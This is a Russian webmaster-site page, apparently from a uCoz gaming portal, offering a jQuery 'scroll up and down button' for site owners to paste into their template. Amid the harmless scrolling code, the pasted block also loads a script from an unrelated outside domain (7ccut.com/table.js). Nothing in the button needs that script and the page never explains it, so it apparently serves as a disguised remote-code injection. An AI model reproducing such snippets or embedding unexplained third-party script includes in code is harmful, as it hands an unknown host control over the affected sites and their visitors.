Понедельник, 23.12.2024 03:01

Меню сайта
Главная страница Игры Софт Онлайн игры Галерея Форум Гостевая книга Антивирус Генератор баннеров Погода Конструктор аватаров Даты выхода игр Команда сайта

для Ucoz
Шаблоны для ucoz Скрипты для ucoz

Темы
Новости [1280]
Музыка [12312]
Прохождение игр [12148]
Игры [12407]
Игровые новости [12508]

Чат

Опрос
Оцените наш сайт
javascript:; javascript:;
Всего ответов: 41

Статистика
Статистика
Сейчас на сайте


Главная » 2014 » Январь » 20 » Кнопка вверх и вниз
15:26
Кнопка вверх и вниз

Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует допполнителных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Категория: Новости | Просмотров: 178 | Добавил: smasto | Рейтинг: 0.0/0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск


Партнёры





Каталог сайтов ForuCoz.com

Заказать место



Graffiti Decorations(R) Studio (TM) Site Promoter

Games-Club ©Все права защищены 2024 Обращение к пользователям
Топы
Топ сто лучших сайтов интернета! Анализ сайта online Refo.ru - русские сайты Рейтинг SIMPLETOP.NET Яндекс.Метрика